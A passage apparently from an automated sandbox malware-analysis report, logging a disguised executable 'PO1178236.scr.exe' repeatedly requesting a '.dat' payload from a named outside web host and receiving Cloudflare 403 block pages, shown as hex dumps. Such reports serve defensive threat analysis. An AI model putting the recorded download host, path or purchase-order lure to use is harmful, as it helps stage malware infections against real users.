2025-01-09 07:29:04 UTC	1369	IN	Data Raw: 63 66 2d 73 65 63 74 69 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e Data Ascii: cf-section cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>
2025-01-09 07:29:04 UTC	1369	IN	Data Raw: 65 72 20 73 6d 3a 74 65 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 36 64 32 35 61 33 63 64 65 39 32 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 Data Ascii: er sm:text-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b6d25a3cde92</strong></span> <span class="cf-footer-separator
2025-01-09 07:29:04 UTC	1010	IN	Data Raw: 72 69 70 74 3e 0a 20 20 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 36 64 32 35 61 33 63 64 65 39 32 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 30 4e 43 34 77 4d 44 41 77 Data Ascii: ript> window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b6d25a3cde92',t:'MTczNjQwNzc0NC4wMDAw
2025-01-09 07:29:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	49808	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:04 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:05 UTC	1001	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:19 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HcbjjXm9ZgOyTomXFqr%2FLONgid9xdFaJmcqZqIxZPNgNPIK0DjMUfM68MRMZBrg7gtgzAlVF76AuVKG6TMEhMFBfCFQwS5rtWXxgbhkoO8Su7o6dktRgYMPKWiigVjKz2aYFJLEs6EvhZmzc"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b6d61d277d05-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1999&min_rtt=1992&rtt_var=762&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1421616&cwnd=195&unsent_bytes=0&cid=64e0eef751b0c0fb&ts=148&x=0"
2025-01-09 07:29:05 UTC	368	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:05 UTC	1369	IN	Data Raw: 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 Data Ascii: /title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=device-w
2025-01-09 07:29:05 UTC	1369	IN	Data Raw: 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 74 63 68 61 2d 63 Data Ascii: ghlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.captcha-c
2025-01-09 07:29:05 UTC	1369	IN	Data Raw: 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 36 64 36 31 64 32 37 37 64 30 35 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c Data Ascii: border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b6d61d277d05</strong></span> <span class="cf-footer-separator sm:hidden">&bul
2025-01-09 07:29:05 UTC	994	IN	Data Raw: 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 36 64 36 31 64 32 37 37 64 30 35 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 30 4e 43 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 20 61 3d 64 6f 63 Data Ascii: cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b6d61d277d05',t:'MTczNjQwNzc0NC4wMDAwMDA='};var a=doc
2025-01-09 07:29:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	49809	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:05 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:05 UTC	1013	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:20 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GK1jf%2FWM2x%2FYVNa3nzSjWofgpYQ95FCdpaYDSjNk9G5gT9%2FiqndnoqtfSuYg3wHt0hF%2BTLQDpI4ejE5fUv5mrH593ZHX0l0d%2Bz7I77Swwrj40nzWE%2BxbocwMgQhpIW%2BbPHDka46wONVrdf8M"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b6d9ec374394-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1662&min_rtt=1651&rtt_var=642&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1676234&cwnd=168&unsent_bytes=0&cid=327a9f1479895c4d&ts=149&x=0"
2025-01-09 07:29:05 UTC	356	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:05 UTC	1369	IN	Data Raw: 20 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 Data Ascii: Cloudflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="wi
2025-01-09 07:29:05 UTC	1369	IN	Data Raw: 65 63 74 69 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d Data Ascii: ection cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>...
2025-01-09 07:29:05 UTC	1369	IN	Data Raw: 6d 3a 74 65 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 36 64 39 65 63 33 37 34 33 39 34 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a Data Ascii: m:text-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b6d9ec374394</strong></span> <span class="cf-footer-separator sm:
2025-01-09 07:29:05 UTC	1006	IN	Data Raw: 3e 0a 20 20 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 36 64 39 65 63 33 37 34 33 39 34 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 30 4e 53 34 77 4d 44 41 77 4d 44 41 3d Data Ascii: > window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b6d9ec374394',t:'MTczNjQwNzc0NS4wMDAwMDA=
2025-01-09 07:29:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	49810	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:06 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:06 UTC	1005	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:21 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CJhJbCh75k1WWengD1xi0WEqW9k2RtwhbSycXI0krPopxfzhTURLZjpHG9Agm3uK7XMYQO9B0tZ39saDcE60Vl%2F08x1Q8tlZ4fRbn6XR8S5byAJqiY93Kqsv8%2BTqWBDia%2BXWHdCHPp92XTfq"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b6ddc83c41ef-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1730&min_rtt=1726&rtt_var=656&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1656267&cwnd=198&unsent_bytes=0&cid=09d84bbf582ad30e&ts=151&x=0"
2025-01-09 07:29:06 UTC	364	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:06 UTC	1369	IN	Data Raw: 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 Data Ascii: are</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=devi
2025-01-09 07:29:06 UTC	1369	IN	Data Raw: 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 74 63 Data Ascii: f-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.captc
2025-01-09 07:29:06 UTC	1369	IN	Data Raw: 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 36 64 64 63 38 33 63 34 31 65 66 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 